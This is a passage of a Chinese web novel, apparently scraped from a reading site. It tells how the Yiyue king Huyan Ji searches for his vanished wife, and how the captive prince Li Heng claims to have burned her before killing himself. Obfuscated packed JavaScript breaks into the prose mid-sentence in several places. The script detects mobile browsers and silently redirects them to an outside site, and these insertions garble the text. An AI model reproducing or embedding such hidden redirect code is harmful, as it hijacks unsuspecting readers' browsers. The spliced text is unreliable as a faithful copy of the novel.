那日小王子生辰宴他受邀去了,见过江轲,这下一看,心里凉寒,只见地上之人,面目浮胀,眼角充血,身上多处重伤,立马探指到他鼻下。 狠狠吁了一口大气,侧头喊道:“大王,人还活着!” 呼延吉捏马鞭的手骤然一松,尽量使自己的声音平稳:“寻全城最好的大夫。” 君王发话了,哪有人敢怠慢,全都忙不迭地来抬人上马车,又有人奔进城中找大夫,迅捷且分工明确。 呼延吉以鞭指向葛萨,又扫向早已瘫软如泥的纳尔,说道:“将这二人先仗五十军棍,吊起,记住,倒着吊。” 说罢,不再多待,拍马往城中疾驰而去。 昆善行到葛萨面前蹲下,睃了一眼他颈间的伤,低声道:“萨老弟,不是我说你,好好的非要贪这份功,现在好啦,把自己搭进去了。”说着又矮身下去,“我告诉你,要是那梁人救不活,你啊——这条命搭进去都不够。” “那梁人到底是什么人?!”葛萨揪住昆善问究竟,就是死,他也得死个明白。 昆善摇头叹道:“那梁人姓江。” 葛萨愕怔一瞬,讷讷道:“江……难道是……” “是,那年轻男子是咱们大王的小舅子,你的胆儿肥,连大王的椒房之亲都敢动。” 葛萨这边还没言语,另一边“啊——”的一声怪叫,就见一个人跪爬而来,伏到昆善脚下,乞求道:“昆善将军救救属下,属下并不知那位梁国将军是小国舅啊!” 昆善抽自己的腿,奈何被抱得太紧,恨骂道:“你放心,你就是想死,这会也死不了,还不到你死的时候,撒开手!” 大王下令仗五十军棍,对他们这些行武之人来说,要不了命,倒吊于城门,一来为泄君王心头之愤,二来也是给围观百姓看的。 这二人现在肯定死不了,大王还留他们有用,眼下梁妃未寻到,她阿弟又险些丧命,若是江家小郎醒来讨要说法,这两人就能派上用场。 这时几名夷越兵上前。 葛萨同纳尔伏跪于地面,行刑之人高高扬起军棍,重重落下,围观之人无不畅快,有种扬眉吐气之感。 “你们刚才听到没有,夷越王原来同咱们梁人连着亲哩!” 此时又一人说道:“我贩货往夷越时听闻,他们的小王子就有一半梁人血统。” “当真?!还有这事?” 那人又道:“自然当真,某经常往那边去,所以知道得多一些,夷越的大妃就是咱们梁人。” 众人听后,一改刚才的颓丧。 “如此说来,咱们梁人也有依靠啦!小王子有一半梁人血统,日后待他继承王位必不会欺辱大梁子民,指不定还会偏护咱们,毕竟他母亲是真真实实的梁人。” 其他人纷纷应和,看着眼前被杖责的夷越大将,顿觉找回了脸面,挺直腰背。 江轲被救了回来,算是捡回一条性命,只是人一直昏睡,醒不过来。 达鲁得知江轲为梁妃殿下的阿弟后,回想自己有无对这位贵人无礼,想来想去,好像自己就没对他有礼过。 还同他对战数合,他身上的伤也是拜他所赐。 于是跪在呼延吉面前请罪,就算王要取他这条命,他也绝无怨言。 呼延吉抬了抬手,示意他起身:“你不过是奉我令行事,又并不知他身份。” 达鲁将江轲擒捕后,把人下到牢里,之后向呼延吉上报,并没有擅作主张。 话说回来,若江轲就那么重伤死在牢里,达鲁可能还真脱不了干系,偏偏葛萨这个倒霉蛋插了一脚进来,抢着找死,拦都拦不住,事后达鲁回想,还觉得有些对不住葛萨。 “继续派人搜寻李恒和李旭,这两人务必要找到。” 呼延吉看了一眼床上躺着的江轲,面色仍苍白着,却比先前好上不少,一边的婢子拿湿帕揾拭他干裂的唇。 达鲁应是,就要离去,又被呼延吉叫住。 “若是发现他二人的行踪,记住,一定要活口。” 攻入梁国都城后,他派人搜捕李家两兄弟,却不见半点踪迹,当年江家被灭门之事他要问清楚,若是找不到李旭,他总觉着李恒一定也知道什么。 达鲁领命而去。 …… 约莫过了三四日,江轲终 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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江轲侧过头,看向呼延吉:“她没来找你,就证明她不愿见你。” “你告诉我,她人现在何处,有些话我会同她说清楚,你就是再不待见我,也得为朔儿想一想,难道你想朔儿自小就没母亲?”呼延吉说道。 江轲再次阖上眼,过了好一会儿,睁开,也许是小侄儿牵动了他的心,终于开口。 “我从李旭嘴里无法探知当年之事,回梁国后,阿姐亲自去了一趟前太子府,李旭关在那里,不知他说了些什么,我问阿姐,她只是不言,自那之后,她就把自己闭在院中,任谁同她说话,都不太愿意搭理。” “后来,那个叫云娘的妇人要回乡探望,便叫她一道,我心想,出去走一走也好,她那样子叫人看了心疼,遂让人护着她们去了那个村庄。”江轲淡淡地说道。 呼延吉站起,腔调中透着急切:“那村子叫什么?” 他不能不慌,等找到她后,他会道尽实情,让她考量忖度。 江轲说她闭门不出,意志消殆,他能想到,李旭那些话的矛头一定指向他,这才让她痛苦。 她只能逃避似的把自己锁起来。 “云水村……” 江轲话音刚落,呼延吉已抢步出了屋子…… 第262章 云水村的宁静被打破 云水村的村民听云娘带回的消息,说夷越人攻占了梁都。 不过夷越兵士破城之后,并未肆意抢掠,都中百姓生活照旧,并无不同。 如此一说,也就是战事息止了。 于是村长动员全村人将峡道口疏通,虽说峡道口可通行,却并无村人进出。 他们仍是忧惧,想缓几日再出去,探看消息也好,采买物件也罢,对他们来说,眼下还不是时候,他们都躲了这么些时日了,也不差这一时半会儿。 于是,众村民仍留于村里,不过不像之前那样满面愁云,该上山上山,该下地下地,晚间回家吃一顿饱,然后同家人坐院里晃时间,或是在村道荡着步子闲谈家常。 战事带来的恐慌在消退,人们的生活正在恢复。 这日清晨,朝雾弥漫,已有人扛着锄具出门,冷凝的空气叫人精神,田这头望田那头,看到人就吆喝一声,反正一个村儿的人,不存在认不认识。 “我家婆娘说针线用完了,她想去镇上一趟。”山子说道。 他对面之人叫长顺,听说后也跟着说:“我也想去一趟镇上,不为别的,这肚里的馋虫犯了,就想老汪家的馄饨。” “你不说还好,这么一说叫我也馋。” 田埂这头两人正说着话,便听到浓雾中有骡子“得得”声,以为是拉板车的老何,于是扯开嗓子叫喊。 “何叔——你要去镇上?” 山子喊罢话没有回应,长顺笑道:“他耳朵背,得再大点声儿。”说着将手握到嘴边,提高嗓门,“叔——去不去镇上——” 话音犹在冷凝的雾气中荡着,骡子的“得得”声停了一会儿,再次响起,也就是这一停一安静,让山子和长顺注意到不对。 因雾障遮眼,两人看不了太远,晨间的村庄太过安静,骡子的踢踏在山间回转,好像很近,又好像很远,还很多…… 这些声音在汇聚,变得整齐,好像踩着铁,那是骡子的蹄音么? 不止田头上的山子和长顺,远近的人家都从院里出来。 他们盯着一个方向,而那个方向正是村口的方向。 朦胧的白雾中隐现出人影,有很多,像一座座行走的小山,往这边行来,随着距离缩短和雾气稀散,人影越来越清晰。 当村人们看清时,一个个煞白着脸,僵在原地不敢动弹。 他们以为避过了,以为这些人找不到这里,却还是寻了来。 只见马背上的这些人,个头高壮,异眸异发,面目深刻,自上而下地将他们睨着,村人们就像压在虎尾下的羊,一动不敢动。 云水村的人不同于大城镇的人,他们见外族少,这一下就噤住了。 村长强自镇定地上前两步,也不敢走得太近。 “大人们,咱们这里就是一处小庄子,求大人们抬抬手,给条活路。” 村长看得出来,他们这些人以中间那人为尊,说罢,便朝他跪伏下去,他身后的村民也跟前跪拜。 这时,一个小厮模样的人翻身下马,近到他身边,说道:“老人家请起,我主有话问,你只需如实回答便可。” 村长哪敢不应,却也不敢起身。 “小老知无不言,大人尽管问来。” 丑奴回头看了一眼自家主子,见他点头,然后向村长发问:“敢问你们村儿可有一个叫云娘的?” 村长呆了呆,心道,云娘从前杀了人,不过那是因着她男人**,小吏想占她便宜,然后她失手把人杀了,但那是梁人,同这些夷越人扯不到一块。 后来她被判流放,村人们唯有嗟叹,却也只能嗟叹。 谁知过了几年,她又回了,说去了远房亲戚家,他们也没多问,知道她嘴里的话不实。 如今这些来自夷越的大人们为何要寻她一个山野妇人? 会不会她在外得罪了这些人,又或是**杀惯了手,再次杀了夷越官员,如今人家找上门来了? 俗话说人越老越精,丑奴一句问话,杞人忧天的老村长已在脑子里转了几道弯。 “老人家?”丑奴只当他年迈,反应迟钝。 村长恍回神,说道:“回大人的话,云娘从前是咱们村的人,只是几年前犯了事被押解走了,之后就再没回来过。” 村长后面跪的一众村人也都悟得村长的一片苦心。 丑奴再次开口,声音冷下来:“老人家此话当真?适才我可说过,老人家只需如实回答,莫要自作聪明。” 这话叫村长打了一个寒噤,眼睛咕噜噜转,不待他开口,一个稚拙的声音从后响起。 “老头儿怎么睁眼说瞎话,前几日我才见过云婶……唔……”小孩儿话音被他旁边的大人捂住。 然后为时已晚,只见为首那位英俊的年轻男人对着小儿招了招手,动作随意且毫不费力。 小儿起身,懵懂地走上前。 呼延吉探出手,一把将小儿拉到马背上,落座于身前。 小儿的大人慌得想要上前,却被兵甲卫拦住。 呼延吉看着怀里的孩子,问道:“喜不喜欢骑马?” 小儿见自己父母焦急,有些怕了,可一听骑马,两眼晶亮,什么都忘了,只有眼前,欢喜道:“喜欢!” 一声鞭响,众人就见黢黑的马儿如离弦之箭,飞了出去。 小儿开始不敢出声,顶风吹了一会儿,便开心地舞动双手,这位将军的双臂像石头一样稳稳地环着他,不担心掉下去。 “带我去云娘的住处,我赠你马儿,如何?”呼延吉说道。 小儿的一颗心欢蹦起来,想也不想,扬指道:“将军走这边。” 呼延吉按照指引,驱马行到一方小院前,带着小儿下了马背,忽然有些紧张,手心发汗,再见到她,他要怎么开口? “是这里?” 小儿狠狠点了点头:“前两日我才见着云婶子。” 此时丑奴已带人从后跟上,村民们紧随其后。 呼延吉走上前,屈指敲响院门,院内没有半点声响,一颗忐忑的心越来越沉,又敲了一会儿,仍是无人回应。 于是睇了一个眼色,护卫上前,挥刀破开院门。 院门打开,呼延吉走了进去,院子里还晾晒着野菜,此时几名兵甲卫进到屋里,看了一圈,出来回禀,屋内无人。 “咦?怎么会没人呢?”小儿飞腿跑进屋,又跑了出来,疑惑道。 “她们?”呼延吉问道。 小儿点头道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时云水村的人已大概猜到来人的身份,那迫人的威压,还有男人提到“王庭”,他们知道,这是夷越王族住的地方。 小儿的父母早已激动地跪伏在地,此等机遇,像是天下掉下来的一样。 村子里的人也高兴,怎么能不开心呢,若是从他们云水村走出一个了不起的大人物,以后他们也跟着沾光。 众人正开心呢,谁知小儿挺起胸脯:“不,我才不要去给谁做伴,我要去军营,我要当将军。” 小儿父母气了个仰倒。 呼延吉点了点头:“好,有志气!” 说罢,扬鞭拍马而去,兵甲卫们紧随其后,马蹄激起滚滚尘烟,再看时,人已行远。 呼延吉回了都城,并未去皇宫,而是径直去了江府。 “怎么,没找到我阿姐?”江轲这会儿还起不来身,尤其是胸口,不敢大喘气,只能侧过头把呼延吉看着。 呼延吉往他面上瞟了一眼:“你倒是一点也不意外,可是知道她去了哪里……” 第263章 把她还给我 江轲咳了两声儿,拿眼睛向桌上睇了一眼:“你让丫头进来,喂我喝口水。” 呼延吉抿了抿唇,嫌他事多,朝外吩咐了一声,立时进来一个丫鬟。 “给他喂水。” 丫鬟应是,走到桌边倒了盏温热的茶水,一手熟练地抬起江轲的头,一手将杯送到他的嘴边,江轲小口喝了,再次平躺下。 呼延吉走到榻边,两眼向下睨着,江轲被他看得有些心虚,可转念一想,他眼下这副半死不活的样子是拜呼延吉所赐。 “你当真要杀我啊,啊?”江轲又咳了两声。 呼延吉对他没好脸,却也不得不多说一句:“我要杀你,你现在还能开口说话?不是阿姐,我是一千个一万个不想见你,摊上你这么个……” 江轲这会儿也安静下来,他躺在床上动也动不了,就想找个人说说话,可这府里根本没人应他,除了呼延吉,再就是一个伺候他的丫鬟。 “说罢,阿姐去了哪里?”呼延吉问道。 “不知道啊。”江轲回道。 呼延吉气喝道:“你不知道?!” “我知道的不是告诉你了,她随云娘去了那村子。” 呼延吉压着声儿:“可你刚才那态度显然知道我会白跑一趟,你却说你不知道她去了哪儿。” 江轲“嗯”了一声:“我料想你会白跑一趟,不过就算我告诉你阿姐可能已不在云水村,你还是会走一趟,所以我说不说都一样。” 接着江轲又道:“你攻占京都这么些时日,她定是早已得知了消息,若想见你,自会出现,现在连云水村也寻她不着,就是为了避你。” “若不是你,我跟她好好的,什么事也没有,我就想不通了,把我们拆散对你有什么好处?” 江轲冷冷地嗤了一声:“若不是你,我们江家也好好的,什么事都没有。” 呼延吉噎了一下,说道:“你……江家被抄在我意料之外,我得到消息时,已经晚了……” 呼延吉还在说着,江轲心里突然一咯噔,似是想到什么,然后睁瞪着眼,把呼延吉看着。 “你这么看我做什么?” 江轲张了张嘴,说道:“你没来时,阿姐其实很是想你和朔儿,听丫头说,她每晚睡时会偎着朔儿的小衫,如今你来了,她却躲了起来,你说……会不会她本要找你,结果看到……” “看到什么?” “看到我倒吊在城头,如果真是这样,你怕是找不到她了。”一辈子都找不到她,后面一句话有些残忍,江轲没有道出,不过看向呼延吉的眼神满含同情。 一道雷霆闪过,呼延吉不愿承认这样的巧合,可真如江轲所说,他不敢往下想。 然而越是不去想,脑子越是不受控。 江念若看见江轲倒吊于城楼,而且那会儿江轲看起来……不像活的,呼延吉脑袋轰的一震。 “你再好好想一想,她会去哪儿?” 江轲说道:“别说我不知道,就是知道也不会告知于你,她这样避着,根本不想见你,我怎能出卖我姐。” 呼延吉狠吸了一口气,牙缝里气直嘶,想捶死眼前人。 “江轲,我跟你有仇?” 江轲“呵”了一声:“你说有没有仇?” 呼延吉发现江家男子都特别轴,不过他自动忽略了自家媳妇某些时候也很轴的事实。 呼延吉不需向他证明什么,从江轲这里得不到有用的信息,他也懒得再待,于是转身出了屋子,唤来丑奴。 刚才江轲说的不无可能,江念看见倒吊城门的家弟,再从旁人嘴里听些什么,这可不就完了么!旧伤未愈,又添新伤,她只怕恨透了他。 “通传下去,让各地守军张贴告示,寻人。” 然后把事宜一一说了,丑奴领命而去,又召来了达鲁,让他抓紧搜寻李旭和李恒。 特别是李旭,只要找到这人,他就有办法从他嘴里撬问出当年的真相,好给江念有个交代,消除他二人之间的芥蒂。 …… 呼延吉攻下大梁后,并未改立国号,仍以夷越称之,然后将大梁京都改名为梁城。 这日,达鲁派出去的人回报,说找到人了。 在呼延吉的设想中,李旭作为废帝,周边无人看顾,找起来应当很容易,然而正好相反,他们寻到了李恒,却不见李旭的半点踪迹。 不过,能找到李恒也好,李恒被擒意味着梁国真正灭亡,掐灭了梁人的最后一星希望。 被擒后的李恒并未下到牢狱,而是囚于太子府。 李恒想不到,自己又回到了这里,当他看到眼前的呼延吉时,嘴角扬起一抹苦笑。 他的所有不幸全因眼前之人而起。 两人坐于宽阔荒寂的庭院中,呼延吉让侍卫和仆从退到院外,院中只他和李恒二人。 捉住李恒后,呼延吉不曾苛待他,仍是给了他该有的体面。 “太子尝一尝我们夷越的花茶。”呼延吉仍照儿时那样称呼。 李恒面上温和地笑着,说出来的话却是:“夷越王不会在花茶里下毒罢?” 呼延吉回以一笑:“有毒无毒尝一尝不就知道了。” 李恒怔了怔,说道:“夷越王亲替某斟茶,怎么也得尝一尝。” 说着,在呼延吉的注视下端起手边的茶盏,往嘴边送去,啜了一口。 呼延吉嘴角似笑非笑,待他放下茶盏,启口道:“是你罢?” “这话无头无尾,不解何意。”李恒淡然道。 呼延吉嘴角勾着弧度,却叫人瞧不出他到底是笑还是讽,同在江轲面前不同。 在江轲面前,呼延吉还能显出真实的怒意,在李恒面前就是他应对外人的那一套了。 “江轲趁我儿一岁生辰带信给吾妻,是你的主意罢?那些信也是你转给江轲的,是也不是?” “不错,是我转给他的。”李恒并不否认,“我从李旭口中得知当年他承继皇位的真相,他把你们通往的书信交与我,夷越王是因这事怨怪我?” 男人浅笑两声:“不过就算你怨怪,这些信我仍要交到他手里,念儿有知道真相的权利,但有一点你说错了,我只将信交到轲儿手里,未给过任何建议,决定是他自己做的。” 呼延吉稍稍压下眼,复又抬起:“何须言语,你深知江轲拿到信后定会去夷越,把这些信呈到吾妻面前,而这些信又无法直指江家被抄是我的意思,如此一来,雾里看花,迷离不清,反叫她想要探个究竟,这也正是你的目的。” 李恒笑着摇了摇头。 呼延吉继续道:“江轲曾说,他从李旭嘴里问不出什么,也是你授意李旭,让他不要在江轲面前开口,为的就是引吾妻上钩,让她亲身赴梁。” 李恒开始把玩手里的茶杯,脸上的笑意 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15838157|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变淡,变成一种笑的线条。 呼延吉又道:“若我料想不错,你既能从李旭手里拿到书信,必是从他嘴里得知了当年江家被抄的真相,只是你知道归知道,却并不向江轲道尽实情,叫他姐弟二人一直受蒙蔽。” 话音毕,院子里忽然风起,枯叶在地上飘旋。 李恒低笑出声,抬眼看向对面之人,腔音不曾变:“瞒不过你,我确实存心引诱她回来,不过有一点你说错了,真相是什么我也不知。” “我从李旭那里拿了书信,然后把书信交到江轲手里,无论江轲如何发问,他半个字不会透露。” 男人语调不疾不徐,平平道出,没有半点被人拆穿的失措,就像在聊家常。 “想让念儿回大梁,需得让她心甘情愿,否则,她回不来,而江轲死忠于我,我的话,他不会疑心,轲儿就是一把趁手的刀刃,我只需稍稍使力,他便义无反顾地为我所用,是个好孩子。” 明明很温和的话语,听着却叫人心尖生凉,就像初春的水,那么不符合调性。 呼延吉勾起一丝笑:“所以你应了李旭什么要求,让他受你指派。” “能是什么,不过就是答应留他一条命,待时候到了,给他自由,让他离开太子府,我这个阿弟,性情乖戾却也贪生怕死。” “所以,江念去见李旭,他告诉江念的那些话也是你让他说的,说了什么?” 李恒笑了笑,说道:“你心里清楚,又何必多此一问呢。” 呼延吉说道:“李旭遵照你的意思,道述江府被抄的罪魁祸首是我,我助他登上皇位,他替我铲除江家,我说得可对?” 李恒无所谓地“嗯”了一声。 就在呼延吉准备起身时,李恒又道:“怎么?夷越王以为这就完了?” 呼延吉身子一顿,看着对面的李恒,等他继续往下说。 “呼延吉,你害我失去了那么多,以为我就认了,打胜仗了是么?别高兴,你的报应才刚刚开始。” “你可知道,本来念儿是要回京都的,是我,故意在江轲面前问了一句,他便让自家护院传告消息,让她不要回京,你说……那个时候她如果回京,你们不就可以团聚了么?我亦知江轲为了护我会同你们对上,本以为你们会杀他了事,只要江轲死于你们手里,你和江念这辈子再无可能,谁知道……” 李恒低笑出声:“你那部下竟把他倒吊于城头,甚好!甚妙!呼延吉,你说说看,她看到她弟暴尸城头后还会原谅你?你是不知道,她当时的样子,啧啧,两眼是血,何止一个惨字……” 呼延吉手里的杯盏已被捏碎,手被瓷片划开,他抬起手按到李恒的右肩,压得肩头一沉。 “她在哪儿?” 李恒看着面前的呼延吉,说道:“**。” 男人话音才落,胸口就挨了重重一拳,人倒飞出去。 李恒不会武,哪里受得住呼延吉的一拳头,身体里的内脏要破了一般,可再受不住,第二拳已落了下来,正要落第三拳时,一个人影抢步过来,截住呼延吉,不是别人,正是江轲。 “别中了他的计,他就是想寻死。” 原来呼延吉让江轲立于院墙下,让他听个明白,听个清楚。 呼延吉努力使自己平息,斜看向江轲。 江轲眼里的情绪很复杂:“我来问他……” 第264章 既然不喜欢,那便毁了她 呼延吉暂时离开,他若不走,一定会杀了李恒。 李恒见到江轲时,先是一怔,料想刚才的那些话,他必是听了去。 他又被呼延吉摆了一道,不过已经无所谓了。 “为什么?”江轲立在院中,并不愿意再近他一步,“你明知我姐的性子,就算她同呼延吉不能在一起,也不会跟你好。” 李恒捂着胸口,吐了一口血沫,不紧不慢地说道:“你阿姐同不同我在一起不重要,重要的是他们不能在一起。” 说到这里,李恒残喘地笑出声:“他害我失去所有,这个仇怎能不报?他让我失了皇位,我就让他失去最在意的人,这辈子……他不可能再遇见她了。” 江轲面庞紧绷,手握拳,咯滋滋响:“既然我已知真相,就会把阿姐找回,是我听信了你的话,致使他们分开,待找到阿姐后,我会向她把事实澄明,让他二人重归于好。” 李恒本是微低着头,听到江轲的话后,一抬眼,黑黑的眼珠顶着上眼皮,哪还有半点清风明月之态,竟是让人后背发凉,眼底是算计后的得逞。 “重归于好?”男人喉腔溢出笑,“重归于好的前提是你们得把她找到,可我怎么会让你们将她找到呢?” 江轲并不上他的当:“不必拿话相激,你怎会知道她在哪儿,不过是想诓我,让呼延吉痛苦,以此来报复他。” 虽说他听了李恒的话,没让阿姐回都城,可他从不曾告诉李恒有关阿姐的行踪。 当下越发认定这是李恒的诡计。 “她身边带了两名女子,一名唤云娘的村妇,还有一个左颊有伤的丫鬟,叫……秋水,还跟了两名护卫,我说的可对?” 江轲压下心底的慌乱,两步上前,忍住身上的疼痛,一把揪住李恒的衣襟,字从牙缝蹦出:“说,我阿姐在哪儿?” 李恒无所谓地笑了笑,好像什么都入不了他的心,越是这样,越是叫人难猜。 江轲只能放缓语气:“你告诉我,我姐在哪儿,只要找到她,她肯定会向呼延吉求情,放你一条生路,她一直认你为兄长,你……” 李恒“啪”的挥开江轲的手,又咳出一口血沫:“我可不是李旭……为了活命,情愿被人摆布。” 说着撑住桌角,吃力地站起身,看了一眼高空,然后说道,“她已不再是她,她的眼里、心里只有那人,这样的她,配不上我的喜欢,既然不喜欢,那便毁了。” “你把她怎么样了?” “怎么样了?轲儿,你什么时候能有呼延吉的脑子,也问不出这个话来,非要我说清么?”李恒又道,“我说我把她毁了,可懂了?” 江轲不信,眼前这人还是他的太子阿兄? 李恒声调平平,道出两个字:“烧了。”接着又道,“放心,没让她痛苦,等她昏迷后才烧的。” 江轲挥出一拳,重重打在李恒面上,一拳接一拳:“你还我阿姐!你还我阿姐!你还我阿姐!” 李恒再次颓倒在地,抬起手,眼中映着明净的天空,从眼角滑出两道泪痕,喃喃道:“她身上着了火,可能是疼醒了,然后就蜷着身子卧在地上,她的手一直抓握着,也不知道她握着什么,不发出一点声儿,我就立在旁边,看着她烧,烧啊烧啊,终于烧完了……” “我的恨也烧完了,直到那一刻方觉快意,报了仇,这就是呼延吉的报应,他让我失去了一切,我必加倍偿还他,有什么错呢。”李恒眼神渐渐虚远,云变成了那个追风的女孩儿。 江轲两眼通红,他想就这么打死他,可他知道不能。 正想着,李恒从衣襟中掏出一物,缓缓抻开,手心躺着一物。 “她死之前一直握着这东西。” 江轲睁眼去看,是一枚兽牙,上面有燎烧的痕迹,于是一把抢夺过来,临走前让下人将李恒用铁链囚锁于屋中。 …… 江轲回了江府,呼延吉如今不住皇宫,就住江家。他找上他,把李恒的话说了,然后把那枚兽牙交给了他。 呼延吉看着手心的狼牙,吁出一口气,显然已经在极力克制,转瞬出了屋子,江轲赶紧跟上,待两人进到那座院子时,桌上还摆着喝过的茶盏,杯中花茶已阑。 地上残有血,是李恒留下的。 这血洒了一路,他们沿着那血的方向走去,来到屋室前,门扇轻掩着。 呼延吉推门而入,江轲随在他的身后,门扇带起灰尘,幽暗的屋室需要人眼适应。 他们看清了墙角的人,怪异的姿势,脖子歪曲着,手镣锁着手,也缠着男人的喉。 江轲说不出是什么心情,他心里的波动比呼延吉更大,这个曾在他心里如天人一般的男子,用手镣勒断了脖,画上了今生的休止符。 他们再也不能从他嘴里问出一句话。 呼延吉不信江念没了,之后,他命人四处搜找,再没有找到她的下落,他曾赠予她的那枚狼牙重新回到他手里。 …… 夷越和大梁终于一统,去了梁的国号,梁都更名为梁城,而曾经的梁人并没有被区别对待,百姓的生活仍是照旧。 梁国的读书之人更是欢喜,他们可以凭真才识学走上仕途,不必官员举荐。 之后,两边百姓往来自如,在曾经的梁境可以看到许多的夷越人,同样的,在夷越诸城也有许多梁人迁入,然后定居。 一统后又是一年…… 街市上常常可以看到梁人女子同夷越男子并行,抑或是梁人男子伴着夷越女子说笑。 不知他们是什么关系,也许是谈婚论嫁的男女,也许是邻里,也许是相互共事的伙计。 呼延吉一直以来的宏愿达成,身边那人却不在了。 如今在西殿当值已不是一件值得宫人们向往的事,君王的脾气越来越古怪,越来越刁钻难伺候。 就是对小王子亦没有多少耐心,遑论对王庭的宫人们。 在其他殿当值,若出了差错,可能被扣月钱,严重一点的就是杖责,可在西殿不同,惹了那位不快,丢的就是性命。 宫里的老人们知道,曾经的大王,也就是才从梁国归来的那几年,脾气有些沉,不过好在那个时候的他话并不多,也不刻意刁难人。 只要按他的规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15846726|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 矩来,在西殿当差还是很舒服的,毕竟头面足,事务也不多。 再后来,西殿出现了一位梁女,就把君王给迷住了,自那之后,君王的脾气和顺了许多,不论谁犯了错事,经由她一劝,大事化小,小事化无。 “这是宫里当值的老人们说的。”一个圆脸少女说道,少女叫彩云,看起来不过十五六岁的年纪,梁人面貌。 少女旁边簇着六七人,有梁人也有夷越人,皆是王庭宫婢扮相,她们是新入王庭的一批宫婢,如今正在教**司受教导。 这时,旁边一年轻女子嗤笑道:“你只知道这些?我可比你知道得还多?” 这女子为夷越人,名阿依沙,脸上微麻,五官却生得很不错,她有认识的人在西殿当差,知道得比旁人更细。 听她如此一说,其他几人都来了兴,催促她快说,毕竟都是十几二十的青春女子,君王不仅年轻还很英武,她们虽未得见,却早已有所耳闻。 个个都盼惦着,待通过教**司的规训,能分派到西殿当值,虽说大王脾气古怪,可抵不住年轻女子们不能言说的小心思。 “快说说,那名梁女后来怎么样了?”另一女子催促道。 阿依沙笑了笑,放轻声儿:“这在咱们夷越其实也不是什么秘密,只是不能拿到台面上说,毕竟涉及王族,所以,你们这些才来的梁人就不清楚。” 圆脸的彩云是个急性子,受不了阿依沙故弄玄虚,催她说:“快些罢,再晚些时候,就该去前面了。” 阿依沙这才说道:“就你刚才说的那梁女,你们猜她后来怎么着?” “怎么着?” “这梁女当真是好运,因她进王庭时,王庭里除了她一个梁人以外,皆是夷越人,你们想呐,大王天天看得都是那些脸,突然来了一个异样的,肯定觉得新鲜,这才让她得了君王恩宠,后来她趁君王不注意,换了避子药丸,怀了王嗣,正巧那时咱们夷越动荡,君王生死不明,偏巧这个时候,她诞下了子嗣,本来圣太后极看不来那梁女,结果不得不接受她和那个意外出生的孩子。” 彩云“呀”了一声,说道:“那孩子该不会就是……” 几人中的夷越宫婢点头道:“没错,就是咱们如今的小王子。” 阿依沙又道:“再后来,大王归来,动荡平定,那名梁女被册立为大妃,嗳!” 另一名梁人女子问道:“你嗳什么?” “可惜了,那名梁女是个福薄的,大妃没当两年,人就没了。”阿依沙说道。 “没了?”一些人并不清楚内情。 阿依沙点了点头:“反正就是消失了,只是对外没有传知而已,其实就是**。” 众人无不唏嘘,不过也叫她们的心更加欢动,前面已有人走出一条道来,那女人可以得君王恩幸,她们为什么不可以? 众人你说一句我说一句,这时彩云抬起眼,往另一个方向看去。 只见通铺上侧身坐着一女子,那女子身形纤瘦,梁人面目,皮肤净白,眉眼柔和,独自在那里整叠衣衫,全没注意到她们的闲言碎语…… 第265章 阿姐,不要丢下我 彩云起身,走到那女子身侧,坐下,眼睛不自主就落到女子低垂的颈儿上,女人颈后纤细的碎发,净柔地伏在那里。 “千鹤,她们刚才说的话,你听到没有?”彩云说道。 女子嘴角噙笑:“听见了,又没压低声音,想不听见都难。” “那你想不想分到西殿?可以就近侍候大王哩!” 名叫千鹤的女子将衣衫整齐叠好,每件衣衫叠得有棱有角,像方正的豆腐块。 “这可不是你想去就能去的,得看教**怎样分配。” 等屋中的人散去后,彩云低声道:“你这人就是太实在了,你若等教**分派,就别指望分到好去处。” “为何这样说?” 彩云想了想,还是决定告诉她,毕竟都是梁人,而且在教**司里,千鹤同她走得近,日后在王庭有个照应:“我告诉你,你只自己知道。” 千鹤点了点头:“你说。” “那些越女都私下说呢,她们要向教**塞银子,只有塞了银子的才有好去处,你什么也不做,就算平日表现得再听话,好差事也落不到你头上。”彩云说道。 千鹤柳眉轻蹙,语带轻忧:“可我没有银子,若真是悬称估职,那也只有这样了。” 彩云看了眼前的女子一眼,入王庭之前,她同千鹤并不认识,她们都是随家人从梁境来到夷越都城的。 进入王庭前有验身这一项,那会儿,她无意间看见衣衫褴褛的千鹤,瘦瘦的身子连那一身不算宽大的布衣都撑不起来。 像她们这些人进王庭为了赚钱,也存了一份虚荣的体面,起码家里有人在王庭当值,说出去那就不一样,指不定还能混出个名堂。 可千鹤进王庭却像是走投无路之下的选择,所求的无非有个提供衣食之所。 “倒是谢谢你,同我说这些。”千鹤柔声说道。 彩云往她脸上看了看,心道,千鹤五官并不出挑,顶多算清秀,就算进了西殿也引不起君王注意,身上又没有银钱,只能听天由命了。 